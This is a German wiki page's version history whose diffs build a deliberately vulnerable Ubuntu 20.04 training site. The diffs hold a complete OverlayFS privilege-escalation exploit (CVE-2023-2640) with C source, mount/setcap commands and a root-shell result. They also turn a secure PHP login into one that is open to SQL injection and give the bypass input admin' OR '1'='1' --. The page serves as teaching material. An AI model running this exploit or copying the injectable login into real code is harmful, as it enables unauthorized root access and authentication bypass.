Schwachstellenseite unter Ubuntu 20.04 einrichten - Versionsgeschichte

Thomas.will: /* cmd.php */

2025-06-10T07:43:40Z

cmd.php

Thomas.will: /* Lokale Privilege Escalation via OverlayFS (CVE-2023-2640) */

2025-05-15T20:47:53Z

Lokale Privilege Escalation via OverlayFS (CVE-2023-2640)

Thomas.will: /* Voraussetzungen */

2025-05-15T20:42:20Z

Voraussetzungen

Thomas.will: /* dashboard.php */

2025-05-15T20:41:55Z

dashboard.php

Thomas.will: /* Unsichere SQL-Abfrage */

2025-05-15T19:44:21Z

Unsichere SQL-Abfrage

Thomas.will: /* Unsicheren Benutzer anlegen */

2025-05-15T19:44:06Z

Unsicheren Benutzer anlegen

Thomas.will: /* Benutzerverwaltung einrichten (sicher) */

2025-05-15T19:43:32Z

Benutzerverwaltung einrichten (sicher)

Thomas.will: /* login-secure.php */

2025-05-15T19:36:22Z

Thomas.will: /* Hinweis */

2025-05-15T19:25:15Z

Hinweis

Thomas.will: /* PHP-Skript zum Generieren eines Passwort-Hashes */

2025-05-15T19:23:14Z

PHP-Skript zum Generieren eines Passwort-Hashes

@@ Zeile 109: / Zeile 109: @@
+}
 </pre>
 ===sql-classic.php===
 <pre>

@@ Zeile 421: / Zeile 421: @@
-= Lokale Privilege Escalation via OverlayFS (CVE-2023-2640) =
+= Lokale Privilege Escalation mit OverlayFS (CVE-2023-2640) =
 == Voraussetzungen ==
 * Ubuntu 20.04 mit Kernel 5.4.x
-* Kein Patch gegen OverlayFS-Schwachstelle
+* Kein Patch für OverlayFS-Schwachstelle vorhanden
-* Der aktuelle Benutzer ist ''nicht root''
+* Kein Root-Zugriff erforderlich
+* Nur `gcc` und `setcap` notwendig
 <pre>
 #include <stdio.h>
@@ Zeile 455: / Zeile 451: @@
 </pre>
-=== Kompilieren ===
+== 2. Exploit kompilieren ==
 <pre>
 gcc exploit.c -o exploit
 </pre>
-=== Exploit ausführen ===
+== 3. Exploit ausführen ==
 <pre>
 unshare -rm sh -c "
@@ Zeile 473: / Zeile 467: @@
 </pre>
-=== Ergebnis ===
+== 4. Erklärung der Zeilen ==
 <pre>
 # whoami
@@ Zeile 481: / Zeile 501: @@
 == Hinweis ==
-Diese Schwachstelle nutzt OverlayFS zum Eskalieren von Rechten über manipulierte Dateizugriffsrechte und spezielle Mount-Konstrukte. Nur demonstrativ einsetzen – Patch unbedingt prüfen!
+Diese Schwachstelle ist in Ubuntu 20.04 (ungepatcht) ausnutzbar. Neuere Kernel-Versionen verhindern dies durch Sicherheitsprüfungen im OverlayFS-Subsystem. Einsatz ausschließlich zu Schulungszwecken!

@@ Zeile 426: / Zeile 426: @@
 * Ubuntu 20.04 mit Kernel 5.4.x
 * Kein Patch gegen OverlayFS-Schwachstelle
-* Der aktuelle Benutzer ist **nicht root**
+* Der aktuelle Benutzer ist ''nicht root''
 == Exploit: Schritt-für-Schritt ==

← Nächstältere Version		Version vom 15. Mai 2025, 20:41 Uhr
Zeile 419:		Zeile 419:
	</html>		</html>
	</pre>		</pre>
		+
		+
		+	= Lokale Privilege Escalation via OverlayFS (CVE-2023-2640) =
		+
		+	== Voraussetzungen ==
		+	* Ubuntu 20.04 mit Kernel 5.4.x
		+	* Kein Patch gegen OverlayFS-Schwachstelle
		+	* Der aktuelle Benutzer ist nicht root
		+
		+	== Exploit: Schritt-für-Schritt ==
		+
		+	=== Exploit-Datei erstellen ===
		+
		+	Erstelle `exploit.c` mit folgendem Inhalt:
		+
		+	<pre>
		+	#include <stdio.h>
		+	#include <stdlib.h>
		+	#include <unistd.h>
		+
		+	int main() {
		+	if (setuid(0) != 0) {
		+	fprintf(stderr, "Failed to set UID to 0.\n");
		+	return 1;
		+	}
		+
		+	printf("Entering privileged shell...\n");
		+	if (system("/bin/bash -p") == -1) {
		+	fprintf(stderr, "Failed to execute /bin/bash -p.\n");
		+	return 1;
		+	}
		+
		+	return 0;
		+	}
		+	</pre>
		+
		+	=== Kompilieren ===
		+
		+	<pre>
		+	gcc exploit.c -o exploit
		+	</pre>
		+
		+	=== Exploit ausführen ===
		+
		+	<pre>
		+	unshare -rm sh -c "
		+	mkdir l u w m &&
		+	cp exploit l/ &&
		+	setcap cap_setuid+eip l/exploit &&
		+	mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
		+	touch m/exploit &&
		+	u/exploit"
		+	</pre>
		+
		+	=== Ergebnis ===
		+
		+	<pre>
		+	# whoami
		+	root
		+	</pre>
		+
		+	== Hinweis ==
		+	Diese Schwachstelle nutzt OverlayFS zum Eskalieren von Rechten über manipulierte Dateizugriffsrechte und spezielle Mount-Konstrukte. Nur demonstrativ einsetzen – Patch unbedingt prüfen!

@@ Zeile 292: / Zeile 292: @@
 INSERT INTO users (username, password) VALUES
 ('admin', 'suxer');
 </pre>

@@ Zeile 285: / Zeile 285: @@
 );
-= Benutzerverwaltung einrichten (sicher) =
+= Authentifizierungs-Bypass zeigen =
-;Passwort-Hash für sicheren Login erzeugen =
+== Unsicheren Benutzer anlegen ==
-==PHP-Skript zum Generieren eines Passwort-Hashes==
+DELETE FROM users WHERE username = 'admin';
-==Ausführen==
+INSERT INTO users (username, password) VALUES
- php hash.php
+('admin', 'suxer');
-==Beispielausgabe==
+== Unsichere SQL-Abfrage ==
-Beispielhafte Ausgabe (einmalig generiert – jeder Hash sieht anders aus!):
+In der Datei <code>login.php</code>:
- $2y$10$OukEYIV5CNHcEvlcYJJtZ.lxOMM4pNnWX2HpmhldOKKdYkO4E.Wmy
+<pre>
-== Benutzer mit Hash in MySQL einfügen==
+== Bypass testen ==
 <pre>
-INSERT INTO users (username, password) VALUES
+Benutzername: admin' OR '1'='1' --
-('admin', '$2y$10$OukEYIV5CNHcEvlcYJJtZ.lxOMM4pNnWX2HpmhldOKKdYkO4E.Wmy');
+Passwort: (beliebig)
 </pre>
+== Wichtig ==
+Diese Login-Variante ist **bewusst unsicher** und dient nur zur Demonstration von SQL-Injection!
 = Authentifizierungs-Bypass mit unsicherem Login =

@@ Zeile 314: / Zeile 314: @@
-===login-secure.php===
 <pre>
 <?php
@@ Zeile 321: / Zeile 324: @@
 ini_set('display_errors', 1);
-$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
+$link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen");
 mysqli_set_charset($link, "utf8");
 $message = '';
@@ Zeile 334: / Zeile 333: @@
      $pass = $_POST['password'];
-     $stmt = mysqli_prepare($link, "SELECT password FROM users WHERE username = ?");
+    // UNSICHER – direkt eingefügt → SQL Injection möglich
-    mysqli_stmt_bind_param($stmt, "s", $user);
+     $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
-     mysqli_stmt_execute($stmt);
+     $result = mysqli_query($link, $query);
-    mysqli_stmt_bind_result($stmt, $hash);
+     if (mysqli_num_rows($result) === 1) {
-     if (mysqli_stmt_fetch($stmt)) {
+         $_SESSION['user'] = $user;
-         if (password_verify($pass, $hash)) {
+        header("Location: dashboard.php");
-            $_SESSION['user'] = $user;
+        exit;
      } else {
-         $message = "Benutzer nicht gefunden.";
+         $message = "Login fehlgeschlagen.";
+     }
+}
 ?>
@@ Zeile 358: / Zeile 350: @@
 <head>
    <meta charset="UTF-8">
-   <title>Login (sicher)</title>
+   <title>Login (unsicher)</title>
 </head>
 <body>
-   <h2>Login (sicher)</h2>
+   <h2>Login (unsicher – SQL Injection möglich)</h2>
    <form method="post">
      <label>Benutzername:</label><br>
@@ Zeile 373: / Zeile 365: @@
 </html>
 </pre>
 ===dashboard.php===
 <pre>

← Nächstältere Version		Version vom 15. Mai 2025, 19:25 Uhr
Zeile 308:		Zeile 308:
	</pre>		</pre>

−	~~==Hinweis==~~	+
−	* Du kannst `password_hash("DEIN_PASSWORT", PASSWORD_DEFAULT);` mit beliebigem Passwort nutzen.
−	* `password_verify()` im Login-Skript prüft dann gegen diesen Hash.

@@ Zeile 291: / Zeile 291: @@
 ==PHP-Skript zum Generieren eines Passwort-Hashes==
 Erstelle die Datei hash.php:
+ php -r 'echo password_hash("suxer", PASSWORD_DEFAULT) . PHP_EOL;'
 ==Ausführen==